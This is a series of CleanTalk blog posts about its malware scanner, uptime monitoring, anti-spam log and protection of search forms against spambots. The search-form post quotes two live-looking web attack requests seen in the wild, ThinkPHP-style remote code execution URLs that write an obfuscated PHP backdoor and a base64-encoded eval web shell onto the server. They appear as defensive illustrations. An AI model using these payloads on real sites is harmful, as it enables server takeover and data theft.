Author: Alexander

We launched a web version of a malicious code scanner that checks for malicious code on the pages of a website. So, you can check your website pages for a malicious code here https://cleantalk.org/website-malware-scanner.

The scanner checks the HTML code on the web page and if suspicious code is found, such as redirects, scripts, etc. it will be displayed in the results. Also in the results will be displayed all of the links that are on this page.

External links – these links lead to other web sites, be careful and make sure that all links are correct. Often, malicious code can inject hidden links into your web page code that are not visible on the page but visible to search bots.

Internal links – are links to your website, when you click on a link you can scan the corresponding page.

The web malware scanner uses the same scan engine as the CleanTalk Security Plugin.

Malicious code can be placed in different files of the website, the web scanner checks only the public part of the website (frontend). For a full scan, use our security plugin, which will perform a comprehensive scan of all the files on the website. Learn more about CleanTalk Security for a website.

Thank you!

The CleanTalk Anti-Spam team thanks to the wp01.ru site administration for their help and active participation, as a result of which we have optimized the plugin code and accelerated the work of SpamFireWall.

Thank you for your participation!

We are pleased to inform you that we have released a new service for websites Website Uptime Monitoring. 

One of the most important parameters of a website is its reliability and speed, that means a website is available to guests and customers 100% of its work time. If it’s temporary unavailable or the page load speed is very low it can greatly affect its search ranking, convenience for the visitors, its website conversion and the number of the returned customers. Therefore these parameters are crucial for your business.

• The Website Uptime Monitoring is meant to control a website work 24 hours a day and 7 days a week.
• 4 checkpoints from a different geo-locations at the same time. Each point does a check once a minute.
• The service monitors your website load speed. It shows the exact time how long it takes to load each website page.
• The statistics demonstrate changes of data in real-time, so you can identify the time of the heaviest load and see what caused such load in the first place. 
• Easy start, just add URL.

The more stable and faster your website works the better for the SEO, your visitors and your business growth. 

Let’s start uptime monitoring in 30 seconds. Stay up to date if something goes wrong.

If you have any questions, you can contact our support team su*****@*******lk.org or create a personal ticket. https://cleantalk.org/my/support/open

 
Thank you!

Everyone knows that in order for the search engine to index the page, some link must lead to this page.

Search and SEO bots check all pages on various sites and if they find a link, then follow it and index new content.

The content posted on the page is created either by the owners, authors and users of the site and this content is checked by the site team. If you think that you control all the content on your site, then you are mistaken.

You can see and moderate comments, user posts, but what if this content is not available to you, but nevertheless it is indexed and this content is spam?

Detect this type of spam is quite difficult, it is not static content on the site. Such spam is distributed through the search form on the site.

How it works

The spammer uses the site search form and enters spam text into the search bar.

Next, your site generates a new page with a unique URL. On this page will be written something like “Unfortunately on your request “Spam text” is no results”.

Now the spammer has a link to a page on your site that already has spammer text. Now he can only pass this link to the search engine and the search engine will index this content.

The danger is that you don’t even know what content was generated on your site.

It is enough for spammers to do a search with the necessary text, suppose that they post a text about your company, how to contact you and leave their email and phone, and post a link to this result. Search engines will index this page and your site will already show spammers’ contacts.

Another point related to the search, the fact is that the page with the search result is not a static page of the site. With each request, the site generates this page, i.e. uses the server’s power, and if there are a lot of such requests? With a large number of requests, the site will work slower and spammers can make a DDoS attack with such requests.

Spammers may not even visit the site or use the search form to get the desired content.

Most CMS have standard search URLs, for WordPress it looks like this www.site.com/?s= OR https://blog.cleantalk.org/?s=firewall

Therefore, it’s enough to take only the list of sites on a specific CMS and generate the necessary links, then transfer these links to the search engine and at the entrance of the search bot on such a link, the CMS will generate the necessary page.

Another dangerous point is an attempt to hack the site through the search form. We have given two examples that were used on our blog.

The request on the site may look like this www.website.local//?s=index/%5C%5Cthink%5C%5Ctemplate%5C%5Cdriver%5C%5Cfile/write&cacheFile=robots.php&content=xbshell1<?php%24password%20=%20%5C”xinba%5C”;%24ch%20=%20explode(%5C”.%5C”,%5C”hello.ass.world.er.t%5C”);array_intersect_ukey(array(%24_REQUEST%5B%24password%5D%20=>%201),%20array(1),%20%24ch%5B1%5D.%24ch%5B3%5D.%24ch%5B4%5D);?>

This is a web application attack, in this case there was an attempt to use the PHP vulnerability for remote code execution.

www.website.local//s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET[%27fuck%27]);&fuck=fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz54YnNoZWxs));

That is, it can be used to hack web sites, gain access to the server, execute arbitrary code, SQL injection, steal passwords and user data.

How to protect your site from this type of attack?

The first option is to remove/disable the search on the site. Obviously, this is not the best option, but it will suit someone.

The second option is to add the noindex, nofollow tags to the search results page template. At the same time, spammers will still make requests to your site and your site will fulfill them, but search engines will not index this content. In this case, the danger of hacking the site through the search remains.

The third option is to use the CleanTalk Anti-Spam plugin. CleanTalk automatically embeds the tags prohibiting indexing of results and does not allow to fulfill requests for spam bots.

SpamFireWall blocks the most spam active bots before they reach the page of the site, which means there will be less load on the site. The probability of hacking is reduced, because requests from spam active IP addresses will be blocked, in order to fully protect against this type of attack, you need to use a web application firewall.

Learn more, how CleanTalk can protect your website from spam and malicious activity.

We are pleased to inform you that we have released a new version of the Universal Anti-Spam Plugin Version 2.1.

Significant changes have been made to this version.

One of these changes was the addition of new functionality. We have added the ability to use Spam FireWall in the Universal anti-spam plugin. Learn more about Spam FireWall here.

Another important addition is the ability to automatically uninstall the plugin. In previous versions of the plugin, there was no such possibility and it was only possible to remove the plugin manually. Now the plugin itself does this, which will simplify the use and subsequent updates of the plugin. This feature will only work from the current version.

We also added the definition of the CMS on which the plugin is installed, if there is an individual anti-spam plugin for this CMS, a notification about this will be displayed.
Some changes and additions were also made to the definition of spam parameters, which will improve the spam protection of various forms on the website.

The Universal anti-spam plugin allows you to protect any website on any CMS or custom website from spam and spam bots.

Instructions, how to install the Universal anti-spam plugin.

CleanTalk launched the finding of domains on IP addresses.

Now, the method can transmit information about the presence of a domain at a given IP address. This suggests that the IP address belongs to the hosting and it has a website.

Use the “hosted_domains parameter” – 0 | 1 show list of hosted domains on an IPv4 address.

You can also get data on the number of known domains at a given IP address and a list of known domains.
To obtain data of the number of known domains, use the parameter “domains_count”  – a number of domains found on IPv4 address. 

You can use parameter the “domains_list” to obtain a list of known domains  – list of hosted domains/sites on IPv4 address. The method shows the first 1000 domains. To get a full list of domains please use the method “domains_list ()”.

Please see the full instructions for working with the API spam_check method. https://cleantalk.org/help/api-spam-check

If you have any questions, you can ask them in the comments below or create a private ticket. https://cleantalk.org/my/support/open

Hello,

We are planning to launch a new service and would like to hear your opinion.
The service is called Site Performance Monitoring. It will allow you to control:

• Available website pages, HTTP / HTTPS response code.
• Page load time.
• Ping -% loss, average delay.
• JavaScript page errors.

If you use monitoring you will immediately receive a notification when your website is down. That will allow to take timely actions.

Get statistics of how fast your web pages load for a time feed. This will let you know the changes in the website loading speed and/or the need to optimize the code for the pages.

Network stats allows you to find connectivity problems. Understand how fast your web server responds.

JS errors on the page affect your website performance and speed of pages loading.

We plan to implement Site Performance Monitoring within 3-4 months.

We will be happy to receive your feedback.
Thank you!

In connection with the Joomla 4 release and the development of the anti-spam plugin for the new version of Joomla, you need to reinstall the anti-spam plugin for Joomla 3.x.
You have to go to the control panel of the CleanTalk plugin and delete it:
https://cleantalk.org/help/update-joomla34

Next, install the new version of the anti-spam plugin by CleanTalk. Please follow this guide: https://cleantalk.org/help/install-joomla34

Let us know if you need any help or have any questions.
Thank you for your patience!

One of the unique features of CleanTalk Anti-Spam is the logging of all requests. Unlike other anti-spam solutions, where forbidden requests just disappear and you don’t even know about them, you have the opportunity to view and analyze data, both on forbidden and allowed queries. This allows you to save data, even if they were accidentally deleted from the mail or admin site.

What features provide Anti-Spam Log

First, it allows you to see all requests in one place for analysis and informativeness.

Secondly, it allows you to give feedback in the case of a false blocking of a request.

Anti-Spam Log page

You can use this link to go to your anti-spam log.
https://cleantalk.org/my/show_requests

Consider the possibilities in more detail on the points:

1. Date and time of the request
   
   
2. The status of the request indicates whether the request was blocked or approved by the service and the address of the site on which the event occurred.
   
   
3. Additional menu request management includes:
   
   3.1. View the request details. This item will be discussed in more detail below.
   
   
   3.2. Feedback button. Allows you to inform the service that this request was processed incorrectly.
   
   If the request was mistakenly blocked, you can mark it as Not Spam, in this case, the IP and Email address of the sender will be added to your personal whitelist.
   If the request was incorrectly allowed, you can mark it as Spam, in this case, the IP and Email address of the sender will be added to your personal blacklist. How to use Personal Blacklist.
   
   CleanTalk analyzes user feedback to improve the service. The reasons for erroneous requests can be:
   
   – on the website page there are JS errors that may interfere with the normal execution of the code
   – outdated version of the plugin
   – the plugin receives incorrect data from the web form due to problems with integration
   
   In any case, you can contact our technical support for advice.
   
   
4. IP and email address of the sender. Clicking on the links, you can see the data on the spam activity of these addresses according to the blacklist database.
   “Page URL” is the address of the page of the site where the request was placed.
   “Source” – the source from which the user navigated to your site.
   
   
5. This section shows spam activity statistics for the sender’s IP and email address. Without going to other pages, you can see data on the number of spam requests that were detected by CleanTalk on other websites

Now let’s take a closer look at the Details link.

1. The request status is Denied or Allowed. A request is when a visitor submits a completed form on a website, such as Comment/Registration/Contact form.
   
   
2. Sender’s data: date/time, nickname, email and IP address.
   
   
3. Request ID, this is service information.
   
   
4. The URL of the page of the site on which the request was made.
   
   
5. The previous page of the site from which the user went to the page on which the request was made (Comment / Registration / Contact form).
   
   
6. The source from which the user came to your site, if it was a Google search, the source will be www.google.com If this is a direct entry to the site, it will be unknown – since in this case, it is impossible to determine exactly. Only for WordPress Plugin.
   
   
7. URL grouping, this option only works for WordPress and with the Store visited URLs option enabled. If you enable this option in the CleanTalk Anti-Spam settings, the plugin will collect data on the last 10 pages that the user visited before sending the request. Pages are grouped by opening time. And you can always know which pages/information motivated the user to subscribe / register or other actions.
   
   
8. The text of the comment/contact form.
   
   
9. The result of the anti-spam check and the reason for blocking. In this case:
   
   – Sender’s IP or email are blacklisted and have high spam activity (*@*******lk.org is a test email for testing)
   – Private list deny is blocking by personal blacklists, in this case it was blocking by blacklist Stop Words, the word “test” is in the blacklist.
   
   
10. Feedback button, you can mark the request as Not Spam or Spam.

One of the features of CleanTalk Anti-Spam is the processing of a user’s request even if he filled out the form incorrectly, for example, he made a mistake in the email address. In this case, the form will give an error message that the form is filled in incorrectly. Some users do not pay attention to this and believe that the information they sent and leave the site, while the information is lost, because it does not fall into the backend of the site. CleanTalk allows you to view such a request and message text in the dashboard. CleanTalk transfers the completed form fields, which can be viewed in the Info field.

Look at the screenshot

1. Since this is a comment form and there is no email address in the request, this means that this form was filled out incorrectly and the email address was specified with an error.
   
   
2. Antispam plugin for WordPress, Drupal 7, Drupal 8, Bitrix is able to intercept errors that the form gives and these errors can be viewed in the request. Notice: this functionality is not supported for all forms since there is not always a technical possibility for this.
   
   
3. The text that was sent by the user.

What to do if you do not want to transmit or store information.

1. You can prohibit the storage of approved requests. Learn more.
   The approved requests will be scanned for spam, but no information about them will be saved.
2. You can add site pages to exclusions for anti-spam checks. In this case, antispam protection will not work on these pages.
3. You can add form fields to exceptions, these fields will not be processed by the antispam service.
4. You can delete information at any time on any request in the dashboard of the site.

If you have any questions, you can ask them in the comments or create a personal ticket, we will always be happy to help you.

We have received several requests about protecting website pages of search results from spambots.

At a glance the solution is quite simple — remove the search results page in “robots.txt”, example:

User-agent: *
Disallow: /search

But further analysis showed that it won’t be a 100% solution and there are many more problems which couldn’t be fixed by just directive “Disallow” and which are being ignored even by big corporations.

Anyone who is aware of crawling budget knows that it brings problems about SEO.

One of the Google Webmaster Guidelines informs us:
Use the “robots.txt” file on your web server to manage your crawling budget by preventing crawling of infinite spaces such as search result pages.

When your website search engine creates result page and if it’s visible for indexing then search bots will waste their time to index it and they wouldn’t process needed pages, it will entail increase of indexing time and some of your good pages will be ignored. If you want to limit indexing then you should use “Disallow” directive.

No matter what we want, there are many details and situations just like in the SEO case when this advice is not optimal.

A lot of websites including big companies ignore this advice and grant access to their search result pages to the crawler bots. It really can make sense with the right approach — if search results which Google shows to your visitors correspond with their search requests and satisfy their needs then it could be useful for some types of websites.

Be careful. Your website could receive a Google penalty and get a low rank. CleanTalk doesn’t recommend to do it.

Quite possible that search result pages of your website will be not the most optimal ones which you desire to have.

Changing directive to “Disallow” alone is not enough to solve the problem of spam requests.

Spambot or a visitor searched something on your website using a spam phrase with a spam link and search result page will contain the phrase with the link even if are no pages found on your website.

The page will look like this:
Your search for “rent yacht here www.example.com” did not match any entries.

If your search result page is visible for indexing then crawler bots will know that your website gives links or mentions about such topic, therefore goal of a spammer to promote something is fulfilled and your website has necessary phrase and link (in some cases search result pages could have an active link).

To get rid of this problem you have already added “Disallow: /search” in your “robots.txt” file but this directive doesn’t fully forbid indexing and visiting these pages by crawler bots. Google tells us about that directly:
A robotted page can still be indexed if linked to from other sites
While Google won’t crawl or index the content blocked by “robots.txt”, we might still find and index a disallowed URL if it is linked from other places on the web. As a result, the URL address and, potentially, other publicly available information such as anchor text in links to the page can still appear in Google search results. To properly prevent your URL from appearing in Google Search results, you should password-protect the files on your server or use the noindex meta tag or response header (or remove the page entirely).

Thus you have to add NoIndex meta tag to your search result page template.

Google recommends:
To prevent most search engine web crawlers from indexing a page on your site, place the following meta tag into the section of your page:
<meta name="robots" content="noindex">

To prevent only Google web crawlers from indexing a page:
<meta name="googlebot" content="noindex">

You should be aware that some search engine web crawlers might interpret the NoIndex directive differently. As a result, it is possible that your page might still appear in results from other search engines.

Why it has to be done?

In a way you can call it a vulnerability and spammers use it for their own purposes. They search something on your website with needed key words then grab the link of the search results and copy-paste it to other web resources.

When Google bots visit your pages that have such link they follow it they land on the Disallowed page. But it doesn’t mean to stop indexing, so they index pages with spam search results.

As a result users who would search for the same phrases in Google might get pages with spam. It’s dangerous because some important data could be compromised such as phone numbers, contact e-mails and so on.

Load on Your Website via Search Form

How it works: your website has a search engine and visitors can input a word or a phrase they want to get information about. Search engine generates result pages and these pages are being visited by crawler bots, Google, Bing and the like. There could be dozens or even hundreds of pages of the search results, it could create a significant load on your website as your website generates a new result page every time. Spambots can use your search engine to perform a DDoS attack and your web server has to process a lot of actions.

So, how can you avoid these problems?

1. Add “Disallow” directive to the search result page.
2. Add tag NoIndex to the search result page template of your website. Be careful, make sure that other pages don’t have such tag or else Google will stop indexing them.
3. Set the limit of requests a one IP could have to use your search form.

All this is doable by yourself but we offer to use our anti-spam solution.

CleanTalk Anti-Spam has the option to protect your website search form from spambots.

1. Spam FireWall blocks access to all website pages for the most active spambots. It lowers your web server load and traffic just by doing this.
2. Anti-Spam protection for website search forms repels spambots.
3. Additional option can add NoIndex tag to forbid indexing.
4. If your search form gets data too often the CleanTalk plugin will add pause and increase it with each new attempt to send data. It saves your web server processor time.
5. Spam protection allows you to not forbid indexing for the crawler bots if you really need it but simultaneously you will get protection from spambots.
6. CleanTalk allows you to see what requests users did in the search form and what they were looking for. This will help you optimize your site and make information more accessible.

You can download CleanTalk Anti-Spam Plugin from WordPress Plugin Directory.

Note: Adding tags to search results pages will be added in one of the next releases. We will inform you.

Spam protection for search form is available for WordPress, Joomla 2.5, Drupal 8.

Update January 24, 2023
Search bots that visit pages with search results are not displayed in the anti-spam log as they do not carry useful information about spam bots or people visits.

Thank you!